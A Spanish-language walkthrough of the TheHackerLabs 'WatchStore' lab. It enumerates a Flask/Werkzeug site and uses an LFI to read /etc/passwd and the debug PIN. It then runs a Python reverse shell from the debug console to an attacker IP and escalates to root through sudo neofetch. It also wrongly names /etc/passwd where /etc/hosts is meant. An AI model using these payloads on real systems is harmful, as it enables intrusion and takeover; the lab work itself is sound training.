

# WatchStore

web:: TheHackerLabs

difficult:: easy

OS:: Linux

estado:: Completado

## Skills

## Enumeracion

Empiezo realizando un escaneo a la IP para descubrir puertos abiertos

```
sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -T5 <IP>
```

- p- : Le indico que me escanee los 65535 puertos
- open : Solo me mostrara los puertos abiertos
- sS : Stealth Scan no completara el proceso de three way handshake
- n : Sin resolucion DNS
- Pn : Sin Host Discovery
- min-rate 5000 : Enviare minimo 5 k de paquetes por segundo
- T5 : Escaneo agresivo

```
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 05:51 EDT
Nmap scan report for 192.168.234.175
Host is up (0.00084s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
8080/tcp   open  http-proxy
MAC Address: 00:0C:29:70:79:12 (VMware)
```

Nos descubre 2 puertos abiertos, vamos a profundizar mas en ellos.

```
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey:
|   256 a2:75:c3:4d:db:a0:60:eb:e5:23:7f:47:57:33:4d:ef (ECDSA)
|_  256 13:af:f5:07:70:d0:5d:36:02:d7:60:2e:fa:ec:94:df (ED25519)
8080/tcp   open  http      Werkzeug httpd 2.1.2 (Python 3.11.2)
|_http-title: Did not follow redirect to http://watchstore.thl:8080/ ->
Virtualhost
|_http-open-proxy: Proxy might be redirecting requests
```

```
|_http-server-header: Werkzeug/2.1.2 Python/3.11.2  
MAC Address: 00:0C:29:70:79:12 (VMware)  
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Si nos fijamos bien vemos que nmap nos detecta un virtualhost (es una forma de alojamiento web que permite que varias páginas web puedan funcionar en una misma máquina) Vamos a añadirla a nuestro `/etc/passwd`

```
192.168.234.175 watchstore.thl
```

Hago un escaneo con whatweb de las tecnologías que utiliza el servidor pero no encuentro nada interesante...

voy a entrar a la página web a ver si encontramos algo



Como el nombre de la máquina indica, tiene pinta de ser una tienda de relojes, Así que interactué un rato con la página web pero no encuentro nada interesante, voy a fuzzear para enumerar directorios y archivos dentro de la web.

para ello utilizaré gobuster (Gobuster es una herramienta de software escrita en el lenguaje de programación Go para encontrar directorios y archivos ocultos en sitios web)

```
gobuster dir -u http://watchstore.thl:8080/ -w  
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x
```

```
php,html,js,txt,py -t 100 --random-agent
```

`dir` : Le indico que quiero buscar archivos y directorios

`-u <url>` : Paso la url de la victima para que sepa donde tiene que atacar

`-w <wordlist>` : ejecutara el ataque probando con las palabras del diccionario indicado

`-x <extension>` : Probara las mismas palabras pero con las extensiones que le paso

`-t <thread>` : Entre mas hilos, mas rapido ira el escaneo, pero cuidado, tambien sera mas ruidoso

`--random-agent` : En este caso no hace falta porque no hay ningun WAF pero es buena practica ponerlo para que en los logs de la pagina el user agent no sea el de gobuster si no uno aleatorio.

```
Starting gobuster in directory enumeration mode
```

```
/products      (Status: 200) [Size: 772]  
/read          (Status: 500) [Size: 13133]  
/console       (Status: 200) [Size: 1563]  
Progress: 22390 / 1323360 (1.69%)^C  
[!] Keyboard interrupt detected, terminating.  
Progress: 22445 / 1323360 (1.70%)
```

```
Finished
```

Nos encuentra 3 rutas distintas, vamos a ver que hay dentro.

en `/read`

# Exception

Exception: Falta el parámetro 'id'

## Traceback (most recent call last)

```
File "/usr/local/lib/python3.11/dist-packages/flask/app.py", line 2095, in __call__
    return self.wsgi_app(environ, start_response)
File "/usr/local/lib/python3.11/dist-packages/flask/app.py", line 2080, in wsgi_app
    response = self.handle_exception(e)
File "/usr/local/lib/python3.11/dist-packages/flask/app.py", line 2077, in wsgi_app
    response = self.full_dispatch_request()
File "/usr/local/lib/python3.11/dist-packages/flask/app.py", line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
File "/usr/local/lib/python3.11/dist-packages/flask/app.py", line 1523, in full_dispatch_request
    rv = self.dispatch_request()
File "/usr/local/lib/python3.11/dist-packages/flask/app.py", line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
File "/home/relox/watchstore/app.py", line 65, in read_file
    raise Exception("Falta el parámetro 'id'") # Esto mostrará el traceback
```

Exception: Falta el parámetro 'id'

Vemos un error por defecto indicandonos que falta el parametro `id` , aparte estamos ante un claro ejemplo de information disclosure vulnerability, hemos encontrado informacion legitima a traves de un error en la pagina, y no solo por el parametro `id`, si no porque en el ultimo `File...` vemos la ruta del `app.py` , tenedlo en cuenta, lo vamos a necesitar dentro de poco.

bien, recapacitemos, sabemos que existe el parametro `id` dentro de esta ruta, vamos a utilizarlo, en busca de un LFI (Local File Inclusion)

```
http://watchstore.th1/read?id=/etc/passwd
```

```
← → ↻ 🏠 watchstore.thl:8080/read?id=/etc/passwd
🔌 All Web Security Acad... 🟢 Hack The Box :: Dashb... 📄 TryHackMe | Dashboard 🌐 Web application firew...

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
relox:x:1001:1001::/home/relox:/bin/bash
```

ups... Claramente hay un LFI, bien tenemos un usuario (**relox**) lo guardaremos para una futura intrusion

bien, vamos a revisar otra ruta interesante, tenemos un `/console` que si intentamos acceder nos pide un PIN

## Console Locked

The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server.

PIN:

Confirm Pin

Claro, no tenemos ningun PIN, ¿y si... accedemos a la ruta del `app.py` habra algun PIN?

```

← → ↻ 🏠 watchstore.thl:8080/read?id=/home/relox/watchstore/app.py
⚡ All Web Security Acad... 🟢 Hack The Box :: Dashb... 🚫 TryHackMe | Dashboard 🌐 Web application firew...

import os
os.environ['WERKZEUG_DEBUG_PIN'] = '612-791-734'

```

No tenemos que bajar mucho para darnos cuenta de que en la segunda linea se encuentra el PIN vamos a utilizarlo para acceder a la consola

## Interactive Console

In this console you can execute Python expressions in the context of the application. The initial namespace was created by the debugger automatically.

```
[console ready]
>>>
```

Brought to you by **DON'T PANIC**, your friendly Werkzeug powered traceback interpreter.

bien ya tenemos acceso a la **consola interactiva**

## Intrusion

Esta consola es un interprete de python, ya que estamos en werkzeug, vamos a utilizarla para conseguir una ejecucion remota de comandos

antes de nada, me pondre en escucha con netcat

```
nc -lvnp 5555
```

ahora ejecute esta serie de codigo para conseguir la ejecucion remota

```

import os,socket,subprocess,pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.234.150",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("bash")

```

```
[console ready]
>>> import socket, subprocess, os
>>> s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> s.connect(("192.168.234.150", 5555))
>>> os.dup2(s.fileno(), 0)
0
>>> os.dup2(s.fileno(), 1)
1
>>> os.dup2(s.fileno(), 2)
2
>>> import pty
>>> pty.spawn("bash")
```

cuando pongamos este ultimo comando, la pagina se queda cargando, eso es un indice que esta esperando respuesta, lo que tambien significa que tenemos la conexion establecida

```
relox@thehackerslabs-watchstore:~$ ls
user.txt  watchstore
relox@thehackerslabs-watchstore:~$ |
```

ya estamos dentro

vamos a ser root

## Post-Explotacion

```
relox@thehackerslabs-watchstore:~$ sudo -l
sudo: unable to resolve host thehackerslabs-watchstore: Nombre o servicio desconocido
Matching Defaults entries for relox on thehackerslabs-watchstore:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    env_keep+=XDG_CONFIG_HOME, use_pty

User relox may run the following commands on thehackerslabs-watchstore:
    (root) NOPASSWD: /usr/bin/neofetch
relox@thehackerslabs-watchstore:~$ |
```

tenemos el binario neofech, para subir privilegios ejecutaremos los siguientes comandos

```
TF=$(mktemp)
echo 'exec /bin/sh' >$TF
sudo neofetch --config $TF
```

Ya somos root, a disfrutarlo!!!